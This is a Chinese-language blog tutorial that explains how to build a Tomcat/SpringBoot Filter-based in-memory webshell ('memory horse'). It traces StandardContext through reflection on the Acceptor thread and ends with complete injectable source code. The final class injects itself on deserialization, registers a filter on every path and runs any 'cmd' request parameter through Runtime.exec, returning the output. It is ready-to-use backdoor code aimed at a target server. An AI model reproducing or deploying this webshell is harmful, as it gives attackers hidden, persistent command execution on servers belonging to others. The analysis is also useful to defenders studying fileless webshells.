MemoryHorse——Filter

内存马概述

所谓得内存马顾名思义就是保存在内存中得后门程序,而对于JavaWeb得内存马来说,因为其使用了容器技术,所以对于内存马来说就像如鱼得水。

内存马分类

总的来说选择内存马都基本上是在servlet之前得,比如filter,他的运行顺序是在servlet之前,或者在MVC架构中controller之前,然后就是Listener,他在运行商位置更靠前,是在Filter之前。其实对于内存马能够用得很多,只要能不影响正常程序得运行就是一条好马,然后就是只要能动态加载得才是有用得马,像FIlter这种是可以通过反射动态添加得。
内存马其实利用都必须存在rce才可以,当然部分文件上传也行,但是在当前得安全大环境下,基本都把文件权限控制得很死,能看到得稍微大点网站都是采用得所有文件都是由servlet进行控制(controller底层还是逃不掉servlet)。

SpringBoot中得Filter马分析

最简单得内存马就是FIlter了,基本上网上得很多分析都是基于Filter马,对如如何构造一个Filter马其实并不难,难得是如何获取将我们构造得内存马打入敌人内部,这时候因为都是基于tomcat容器来运行得,所以我们可以使用反射来动态得将Filter添加进去。至于如何分析,我们可以查看官方文档,看看其运行原理,基本上都会有介绍,只有是否详细得区别;第二种就是自己重写一下然后Debug跟进去,我比较懒就是用Debug跟吧。

Filter自动注入得分析

我们创建一个类实现Filter,然后在Init处下断点,如下,然后自己创建一个Controller访问一下。
MemoryHorseFilter - 图1
我们一直step就会跟到StandardContext 中,到下面这两行代码处

  1. /**
  2. * Standard implementation of the <b>Context</b> interface. Each
  3. * child container must be a Wrapper implementation to process the
  4. * requests directed to a particular servlet.
  5. *
  6. * @author Craig R. McClanahan
  7. * @author Remy Maucherat
  8. */
  9. public class StandardContext extends ContainerBase implements Context, NotificationEmitter {
  10. /**
  11. * The set of filter configurations (and associated filter instances) we
  12. * have initialized, keyed by filter name.
  13. */
  14. private Map<String, ApplicationFilterConfig> filterConfigs = new HashMap<>();
  15. /**
  16. * The set of filter definitions for this application, keyed by
  17. * filter name.
  18. */
  19. private Map<String, FilterDef> filterDefs = new HashMap<>();
  20. /**
  21. * The set of filter mappings for this application, in the order
  22. * they were defined in the deployment descriptor with additional mappings
  23. * added via the {@link ServletContext} possibly both before and after those
  24. * defined in the deployment descriptor.
  25. */
  26. private final ContextFilterMaps filterMaps = new ContextFilterMaps();
  27. public boolean filterStart() {
  28. if (getLogger().isDebugEnabled()) {
  29. getLogger().debug("Starting filters");
  30. }
  31. // Instantiate and record a FilterConfig for each defined filter
  32. boolean ok = true;
  33. synchronized (filterConfigs) {
  34. filterConfigs.clear();
  35. for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
  36. String name = entry.getKey();
  37. if (getLogger().isDebugEnabled()) {
  38. getLogger().debug(" Starting filter '" + name + "'");
  39. }
  40. try {
  41. /**************************************/
  42. ApplicationFilterConfig filterConfig =
  43. new ApplicationFilterConfig(this, entry.getValue());
  44. filterConfigs.put(name, filterConfig);
  45. /**************************************/
  46. } catch (Throwable t) {
  47. t = ExceptionUtils.unwrapInvocationTargetException(t);
  48. ExceptionUtils.handleThrowable(t);
  49. getLogger().error(sm.getString(
  50. "standardContext.filterStart", name), t);
  51. ok = false;
  52. }
  53. }
  54. }
  55. return ok;
  56. }
  57. }

根据代码我们可以看到filterConfigs存储了整个程序中除了自带得Filter同时还包括了我们自定义得一个CustomerFilter,也可以从方法名filterStart()知道这是对filter初始化得代码块了,我们通过上面两句其实就知道了大概如何操作了,首先获取一个ApplicationFilterConfig对象,初始化需要传入StandardContext对象和filterDef值,然后将filter名和ApplicationFilterConfig对象put到filterConfigs得Map中。其实代码跟到这基本明了了,也大概清楚我们需要得东西了,接下来就是如何获取filterConfigs和StardardContext,因为这两个是需要和当前程序中得保持一致,所以我们想到了使用反射。
思路有了,但是哪里存在StandardContext呢(什么是StandardContext,可以看这个连接:https://www.cnblogs.com/ChenD/p/10061008.html),其实可以用HttpServletRequest对象获取,也就是常见得request,这里我们暂时不考虑用request,我们换种思路,在线程中取,毕竟所有得东西在线程中一定能找到。

获取StandardContext

前面我们说了,我们可以从线程中获取StandardContext,所以我们可以自己调用一下线程,看看里面都有哪些我们可以用到得。记住我们需要StandardContext,而他只有在JavaWeb中才存在,别写个public static void main() 找了半天咋没有呢,咋可能有。
MemoryHorseFilter - 图2
我们在这里下断点,然后调试,我们可以看到存在一个treads线程组,这其中有acceptor和Poller两线程,对于Acceptor可以看官方解释:https://docs.oracle.com/cd/E19159-01/819-3681/abegm/index.html,对于Poller线程也可以看官方解释
至于tomcat得启动流程啥的看这篇:https://myzxcg.com/2021/10/Tomcat-架构与Context分析/
这里得话我先说我们用哪个线程来找对应得数据,这两个线程都是可以得,但是我们先使用Acceptor这个线程
MemoryHorseFilter - 图3
我们可以在具体Evaluate Express功能来筛选一下,表达式如下,当然这是针对Acceptor得,至于Poller大家可以自己看看。
MemoryHorseFilter - 图4
看到上面得话基本上就能知道怎么写了吧,我们可以通过反射一步一步得获取我们需要得值。
反射我们可以封装成一个类,如下

  1. public Object getField(Object object, String fieldName) {
  2. Field declaredField;
  3. Class clazz = object.getClass();//获取对象得class
  4. while (clazz != Object.class) {
  5. try {
  6. declaredField = clazz.getDeclaredField(fieldName);//获取所有声明得变量
  7. declaredField.setAccessible(true);//设置成公共得
  8. return declaredField.get(object);//获取object对象中declaredField得值
  9. } catch (NoSuchFieldException e){}
  10. catch (IllegalAccessException e){}
  11. clazz = clazz.getSuperclass();//这个得作用主要是获取当前类父类得值,就是个递归,直到触碰到根类Object
  12. }
  13. return null;
  14. }

然后我们知道我们获取得线程组中存在一个threads数组,所以获取他的数组值得操作就像这样得

  1. ThreadGroup threadGroup= Thread.currentThread().getThreadGroup();
  2. Thread[] threads=getField(threadGroup,"threads");

接下来得值获取方式也是一样得,后面得说去步骤很多都可以直接套娃就不详细讲了,对于其中可能出现得Map类型,我们就直接按照Map得使用方法拿出来即可,最后我们就能获取到TomcatEmbeddedContext对象,其实间接得也是StandardContext对象,毕竟后者是前者得父类。
至此StandardContext我们已经获取到了,那么接下来就是获取filterConfigs,我们知道我们获取得filterConfigs是在StandardContext对象中,而我们获取到了他的子类,那么我们也能通过反射获取到filterConfigs数组。
所以filterConfigs得获取就是如下这样。

  1. Map filterconfigs=null;
  2. filterconfigs=getField("filterConfigs");

我们现在已经把我们需要得东西从内存中去了出来,接下来就是按照下面代码这样得规则来写内存马了。

  1. ApplicationFilterConfig filterConfig =new ApplicationFilterConfig(this, entry.getValue());//this:StandardContext 我们已经拿到了
  2. filterConfigs.put(name, filterConfig);//filterConfigs我们也拿到了

所以是不是感觉异常清晰明了了

添加恶意内存马

首先我们需要检测已经存在得filter名是否和我们要添加得重合了,如果有我们是不能去更改,否则会对正常业务造成损害,然后就是new 一个Filter了。

  1. Filter filter = new Filter() {
  2. @Override
  3. public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException {
  4. HttpServletRequest request = (HttpServletRequest) servletRequest;
  5. String cmd = request.getParameter("cmd");
  6. System.out.println("y2an0");
  7. if (!"".equals(cmd) && cmd != null) {
  8. // Process process = new ProcessBuilder(cmd).start();
  9. Process process=Runtime.getRuntime().exec(cmd);
  10. byte[] buf = new byte[1024];
  11. InputStream inputStream = process.getInputStream();
  12. int len=0;
  13. int index=0;
  14. while ((len= inputStream.read(buf))>0){
  15. System.out.println(new String(buf, index, len));
  16. servletResponse.getWriter().println(new String(buf, index, len));
  17. index+=len;
  18. }
  19. System.out.println("执行了命令了");
  20. process.destroy();
  21. }
  22. chain.doFilter(servletRequest,servletResponse);
  23. }
  24. };

至于初始化和destory可以根据自己得需求来增加。这里我们还差一个FilterDef对象,所以新建一个对象,并且赋值。

  1. FilterDef filterDef=new FilterDef();
  2. filterDef.setFilterClass(BadFilter2.class.getName());//类名
  3. filterDef.setFilterName("y2an0");//filter名,这个在前面我们是进行了判断得
  4. filterDef.setFilter(filter);//filter就是我们添加进去得
  5. standardContext.addFilterDef(filterDef);

除此之外我们还需要添加一个FilterMap,这其中包含了过滤路径,这才是最终得。

  1. FilterMap filterMap=new FilterMap();
  2. filterMap.addURLPattern("/*");//过滤得路径
  3. filterMap.setFilterName("y2an0");
  4. filterMap.setDispatcher(DispatcherType.REQUEST.name());
  5. standardContext.addFilterMapBefore(filterMap);

然后就是创建一个ApplicationFilterConfig对象了,至于这里为什么使用反射获取此类,因为ApplicationFilterConfig类是被final修饰得。所以只能使用反射获取其构造方法。

  1. ApplicationFilterConfig filterConfig;
  2. try {
  3. Constructor constructor= ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
  4. constructor.setAccessible(true);
  5. filterConfig= (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
  6. filterconfigs.put("y2an0",filterConfig);
  7. //上面得操作和我们在StandardContext中看到得几乎是一致得
  8. } catch (NoSuchMethodException e) {
  9. e.printStackTrace();
  10. } catch (InvocationTargetException e) {
  11. e.printStackTrace();
  12. } catch (InstantiationException e) {
  13. e.printStackTrace();
  14. } catch (IllegalAccessException e) {
  15. e.printStackTrace();
  16. }

最后附上完整代码

  1. package com.y2an0.memoryhorse.BadMemoryHorse;
  2. import org.apache.catalina.Context;
  3. import org.apache.catalina.core.ApplicationFilterConfig;
  4. import org.apache.catalina.core.StandardContext;
  5. import org.apache.catalina.core.StandardEngine;
  6. import org.apache.catalina.core.StandardHost;
  7. import org.apache.tomcat.util.descriptor.web.FilterDef;
  8. import org.apache.tomcat.util.descriptor.web.FilterMap;
  9. import javax.servlet.*;
  10. import javax.servlet.http.HttpServletRequest;
  11. import java.io.IOException;
  12. import java.io.InputStream;
  13. import java.io.Serializable;
  14. import java.lang.reflect.Constructor;
  15. import java.lang.reflect.Field;
  16. import java.lang.reflect.InvocationTargetException;
  17. import java.util.HashMap;
  18. import java.util.Iterator;
  19. import java.util.Map;
  20. public class BadFilter3 implements Serializable {
  21. String serverName="y2an0";
  22. String filterPath="/*";
  23. StandardContext standardContext;
  24. static {
  25. BadFilter3 badFilter3=new BadFilter3();//方便再反序列化结束后自动加载
  26. }
  27. public BadFilter3() {
  28. this.getStandardContext();
  29. this.FilterInsert();
  30. }
  31. public void FilterInsert() {
  32. Map filterconfigs=null;
  33. try {
  34. Class aClass = standardContext.getClass().getSuperclass();
  35. Field filterConfigsO = aClass.getDeclaredField("filterConfigs");
  36. filterConfigsO.setAccessible(true);
  37. filterconfigs = (Map) filterConfigsO.get(standardContext);
  38. } catch (NoSuchFieldException e) {
  39. e.printStackTrace();
  40. } catch (IllegalAccessException e) {
  41. e.printStackTrace();
  42. }
  43. if (filterconfigs.get(serverName)==null) {
  44. Filter filter = (servletRequest, servletResponse, chain) -> {
  45. HttpServletRequest request = (HttpServletRequest) servletRequest;
  46. String cmd = request.getParameter("cmd");
  47. if (!"".equals(cmd) && cmd != null) {
  48. Process process=Runtime.getRuntime().exec(cmd);
  49. byte[] buf = new byte[1024];
  50. InputStream inputStream = process.getInputStream();
  51. int len=0;
  52. int index=0;
  53. while ((len= inputStream.read(buf))>0){
  54. System.out.println(new String(buf, index, len));
  55. servletResponse.getWriter().println(new String(buf, index, len));
  56. index+=len;
  57. }
  58. System.out.println("执行了命令了");
  59. process.destroy();
  60. }
  61. chain.doFilter(servletRequest,servletResponse);
  62. };
  63. FilterDef filterDef=new FilterDef();
  64. filterDef.setFilterClass(BadFilter3.class.getName());
  65. filterDef.setFilterName(serverName);
  66. filterDef.setFilter(filter);
  67. standardContext.addFilterDef(filterDef);
  68. FilterMap filterMap=new FilterMap();
  69. filterMap.addURLPattern(filterPath);
  70. filterMap.setFilterName(serverName);
  71. filterMap.setDispatcher(DispatcherType.REQUEST.name());
  72. standardContext.addFilterMapBefore(filterMap);
  73. ApplicationFilterConfig filterConfig;
  74. try {
  75. Constructor constructor= ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
  76. constructor.setAccessible(true);
  77. filterConfig= (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
  78. filterconfigs.put(serverName,filterConfig);
  79. } catch (NoSuchMethodException e) {
  80. e.printStackTrace();
  81. } catch (InvocationTargetException e) {
  82. e.printStackTrace();
  83. } catch (InstantiationException e) {
  84. e.printStackTrace();
  85. } catch (IllegalAccessException e) {
  86. e.printStackTrace();
  87. }
  88. }
  89. }
  90. public Object getField(Object object, String fieldName) {
  91. Field declaredField;
  92. Class clazz = object.getClass();
  93. while (clazz != Object.class) {
  94. try {
  95. declaredField = clazz.getDeclaredField(fieldName);
  96. declaredField.setAccessible(true);
  97. return declaredField.get(object);
  98. } catch (NoSuchFieldException e){}
  99. catch (IllegalAccessException e){}
  100. clazz = clazz.getSuperclass();
  101. }
  102. return null;
  103. }
  104. public void getStandardContext() {
  105. Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
  106. for (Thread thread : threads) {
  107. if (thread == null) {
  108. continue;
  109. }
  110. if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
  111. Object target = this.getField(thread, "target");
  112. HashMap children;
  113. Object jioEndPoint = null;
  114. try {
  115. jioEndPoint = getField(target, "this$0");
  116. } catch (Exception e) {
  117. }
  118. if (jioEndPoint == null) {
  119. try {
  120. jioEndPoint = getField(target, "endpoint");
  121. } catch (Exception e) {
  122. return;
  123. }
  124. }
  125. Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
  126. StandardEngine engine = null;
  127. try {
  128. engine = (StandardEngine) getField(service, "container");
  129. } catch (Exception e) {
  130. }
  131. if (engine == null) {
  132. engine = (StandardEngine) getField(service, "engine");
  133. }
  134. children = (HashMap) getField(engine, "children");
  135. StandardHost standardHost = (StandardHost) children.get("localhost");
  136. children = (HashMap) getField(standardHost, "children");
  137. Iterator iterator = children.keySet().iterator();
  138. while (iterator.hasNext()) {
  139. String contextKey = (String) iterator.next();
  140. // if (!(this.uri.startsWith(contextKey))) {
  141. // continue;
  142. // }
  143. StandardContext standardContext = (StandardContext) children.get(contextKey);
  144. this.standardContext = standardContext;
  145. return;
  146. }
  147. }
  148. }
  149. }
  150. }